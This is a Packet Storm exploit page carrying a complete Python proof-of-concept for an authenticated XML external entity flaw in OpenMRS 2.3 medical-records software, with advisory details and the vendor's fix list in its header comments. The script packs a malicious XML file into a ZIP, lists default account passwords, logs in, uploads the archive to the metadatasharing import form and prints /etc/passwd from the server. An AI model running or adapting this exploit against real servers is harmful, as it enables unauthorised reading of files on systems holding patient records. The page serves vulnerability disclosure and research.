exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

OpenMRS 2.3 (1.11.4) XXE Injection

OpenMRS 2.3 (1.11.4) XXE Injection
Posted Dec 8, 2015
Authored by LiquidWorm | Site zeroscience.mk

OpenMRS version 2.3 (1.11.4) suffers from an XML external entity processing vulnerability. The vulnerability is caused due to an error when parsing XML entities within ZIP archives and can be exploited to e.g. disclose data from local resources or cause a DoS condition (billion laughs) via a specially crafted XML file including external entity references.

tags | exploit, local, xxe
SHA-256 | 070b2c30afd808c338b88609b0c09df9664f1cb7251179abf50e418c628aac90

OpenMRS 2.3 (1.11.4) XXE Injection

Change Mirror Download
#!/usr/bin/env python
#
# OpenMRS 2.3 (1.11.4) XML External Entity (XXE) Processing PoC Exploit
#
#
# Vendor: OpenMRS Inc.
# Product web page: http://www.openmrs.org
# Affected version: OpenMRS 2.3, 2.2, 2.1, 2.0 (Platform 1.11.4 (Build 6ebcaf), 1.11.2 and 1.10.0)
# OpenMRS-TB System (OpenMRS 1.9.7 (Build 60bd9b))
#
# Summary: OpenMRS is an application which enables design of a customized medical
# records system with no programming knowledge (although medical and systems analysis
# knowledge is required). It is a common framework upon which medical informatics
# efforts in developing countries can be built.
#
# Desc: The vulnerability is caused due to an error when parsing XML entities within
# ZIP archives and can be exploited to e.g. disclose data from local resources or cause
# a DoS condition (billion laughs) via a specially crafted XML file including external
# entity references.
#
#
# Tested on: Ubuntu 12.04.5 LTS
# Apache Tomcat/7.0.26
# Apache Tomcat/6.0.36
# Apache Coyote/1.1
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2015-5289
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5289.php
#
# Affected: OpenMRS Core, Serialization.Xstream module, Metadata Sharing module
# Severity: Major
# Exploit: Remote Code Execution by an authenticated user
#
# Vendor Bug Fixes:
#
# Disabled serialization and deserialization of dynamic proxies
# Disabled deserialization of external entities in XML files
# Disabled spring's Expression Language support
#
# https://talk.openmrs.org/t/openmrs-security-advisories-2015-11-30/3868
# https://talk.openmrs.org/t/critical-security-advisory-2015-11-25/3824
# https://wiki.openmrs.org/display/RES/Release+Notes+2.3.1
# http://openmrs.org/2015/12/reference-application-2-3-1-released/
# https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.9.10
# https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.10.3
# https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.11.5
# https://modules.openmrs.org/modulus/api/releases/1308/download/serialization.xstream-0.2.10.omod
# https://modules.openmrs.org/modulus/api/releases/1309/download/metadatasharing-1.1.10.omod
# https://modules.openmrs.org/modulus/api/releases/1303/download/reporting-0.9.8.1.omod
#
# OpenMRS platform has been upgraded to version 1.11.5
# Reporting module has been upgraded to version 0.9.8.1
# Metadata sharing module has been upgraded to version 1.1.10
# Serialization.xstream module has been upgraded to version 0.2.10
#
# Who is affected?
#
# Anyone running OpenMRS Platform (1.9.0 and later)
# Anyone running OpenMRS Reference Application 2.0, 2.1, 2.2, 2.3
# Anyone that has installed the serialization.xstream module except for the newly released 0.2.10 version.
# Anyone that has installed the metadatasharing module except for the newly released 1.1.10 version.
#
#
# 02.11.2015
#


import itertools, mimetools, mimetypes
import cookielib, urllib, urllib2, sys
import time, datetime, re, zipfile, os
import binascii

from urllib2 import URLError

global bindata

piton = os.path.basename(sys.argv[0])

def bannerche():
print '''
@-------------------------------------------------@
| |
| OpenMRS 2.3 Authenticated XXE Exploit |
| ID: ZSL-2015-5289 |
| Copyleft (c) 2015, Zero Science Lab |
| |
@-------------------------------------------------@
'''
if len(sys.argv) < 4:
print '\n[+] Usage: '+piton+' <host> <port> <path> \n'
print '[+] Example: '+piton+' uat05.zeroscience.mk 8080 openmrs\n'
sys.exit()

bannerche()

print '[+] Date: '+str(datetime.date.today())

payload = '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ZSL [
<!ENTITY xxe1 SYSTEM "file:////etc/passwd" >
<!ENTITY xxe2 SYSTEM "file:///etc/resolv.conf" >
<!ENTITY xxe3 SYSTEM "file:///etc/issue" >]>
<package id="1" uuid="eecb64f8-35b0-412b-acda-3d83edf4ee63">
<dateCreated id="2">2015-11-06 10:47:19</dateCreated>
<name>&xxe1;</name>
<description>&xxe2;</description>
<openmrsVersion>&xxe3;</openmrsVersion>
<version>1</version>
</package>'''

print '[+] Creating header.xml file.'
file = open('header.xml', 'w')
file.write(payload)
file.close()
time.sleep(1)
print '[+] Packing evil XML file.'

with zipfile.ZipFile('xxe.zip', 'w') as devzip:
devzip.write('header.xml')

os.remove('header.xml')
print '[+] XML file vacuumed.'
time.sleep(1)

filename = 'xxe.zip'
with open(filename, 'rb') as f:
content = f.read()
hexo = binascii.hexlify(content)
bindata = binascii.unhexlify(hexo)

print '[+] File xxe.zip successfully created!'
print '[+] Initialising communication.'

host = sys.argv[1]
port = sys.argv[2]
path = sys.argv[3]

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
print '[+] Probing target http://'+host+':'+port+'/'+path+'/'

try:
checkhost = opener.open('http://'+host+':'+port+'/'+path+'/login.htm')
hostresp = checkhost.read()
except urllib2.HTTPError, errorzio:
if errorzio.code == 404:
print '[+] Error:'
print '[+] Check your path entry!'
print
sys.exit()
except URLError, errorziocvaj:
if errorziocvaj.reason:
print '[+] Error:'
print '[+] Check your hostname entry!'
print
sys.exit()

print '[+] Target seems OK.'
print '[+] Login please:'

print '''
Username: doctor nurse clerk sysadmin admin scheduler
Password: Doctor123 Nurse123 Clerk123 Sysadmin123 Admin123 Scheduler123
'''

username = raw_input('[*] Enter username: ')
password = raw_input('[*] Enter password: ')

login_data = urllib.urlencode({
'username' : username,
'password' : password,
'sessionLocation' : '3',
'redirectUrl' : '/'+path+'/module/metadatasharing/import/list.form'
})

login = opener.open('http://'+host+':'+port+'/'+path+'/login.htm', login_data)
auth = login.read()

for session in cj:
sessid = session.name

print '[+] Mapping session ID.'
ses_chk = re.search(r'%s=\w+' % sessid , str(cj))
cookie = ses_chk.group(0)
print '[+] Cookie: '+cookie

if re.search(r'Invalid username/password. Please try again', auth):
print '[+] Incorrect username or password.'
print
sys.exit()
else:
print '[+] Authenticated!'


opener.open('http://'+host+':'+port+'/'+path+'/module/metadatasharing/import/list.form')
print '[+] Sending payload.'

class MultiPartForm(object):

def __init__(self):
self.form_fields = []
self.files = []
self.boundary = mimetools.choose_boundary()
return

def get_content_type(self):
return 'multipart/form-data; boundary=%s' % self.boundary

def add_field(self, name, value):
self.form_fields.append((name, value))
return

def add_file(self, fieldname, filename, fileHandle, mimetype=None):
body = fileHandle.read()
if mimetype is None:
mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
self.files.append((fieldname, filename, mimetype, body))
return

def __str__(self):

parts = []
part_boundary = '--' + self.boundary

parts.extend(
[ part_boundary,
'Content-Disposition: form-data; name="%s"' % name,
'',
value,
]
for name, value in self.form_fields
)

parts.extend(
[ part_boundary,
'Content-Disposition: file; name="%s"; filename="%s"' % \
(field_name, filename),
'Content-Type: %s' % content_type,
'',
body,
]
for field_name, filename, content_type, body in self.files
)

flattened = list(itertools.chain(*parts))
flattened.append('--' + self.boundary + '--')
flattened.append('')
return '\r\n'.join(flattened)

if __name__ == '__main__':
form = MultiPartForm()
form.add_field('file"; filename="xxe.zip', bindata)
form.add_field('url', '')
request = urllib2.Request('http://'+host+':'+port+'/'+path+'/module/metadatasharing/import/upload.form')
request.add_header('User-agent', 'joxypoxy 6.5')
body = str(form)
request.add_header('Origin', 'http://'+host+':'+port)
request.add_header('Accept-Encoding', 'gzip, deflate')
request.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8')
request.add_header('Accept-Language', 'en-US,en;q=0.8')
request.add_header('Cache-Control', 'max-age=0')
request.add_header('Upgrade-Insecure-Requests', '1')
request.add_header('Referer', 'http://'+host+':'+port+'/'+path+'/module/metadatasharing/import/upload.form')
request.add_header('Content-type', form.get_content_type())
request.add_header('Cookie', cookie)
request.add_header('Content-length', len(body))
request.add_data(body)
request.get_data()
urllib2.urlopen(request).read()


time.sleep(1)
print '[+] Retrieving /etc/passwd:'
time.sleep(2)
getinfo = opener.open('http://'+host+':'+port+'/'+path+'/module/metadatasharing/import/validate.form')
readinfo = getinfo.read()
striphtml = re.sub("<.*?>", "", readinfo)
match = re.search(r'root:.*/bin/bash', striphtml, re.DOTALL)
print '\n--------------------------------------------------------'
print match.group(0)
print '--------------------------------------------------------'

sys.exit()
Login or Register to add favorites

File Archive:

November 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    16 Files
  • 2
    Nov 2nd
    17 Files
  • 3
    Nov 3rd
    17 Files
  • 4
    Nov 4th
    11 Files
  • 5
    Nov 5th
    0 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    3 Files
  • 8
    Nov 8th
    59 Files
  • 9
    Nov 9th
    12 Files
  • 10
    Nov 10th
    6 Files
  • 11
    Nov 11th
    11 Files
  • 12
    Nov 12th
    1 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    9 Files
  • 15
    Nov 15th
    33 Files
  • 16
    Nov 16th
    53 Files
  • 17
    Nov 17th
    11 Files
  • 18
    Nov 18th
    14 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    26 Files
  • 22
    Nov 22nd
    22 Files
  • 23
    Nov 23rd
    10 Files
  • 24
    Nov 24th
    9 Files
  • 25
    Nov 25th
    11 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close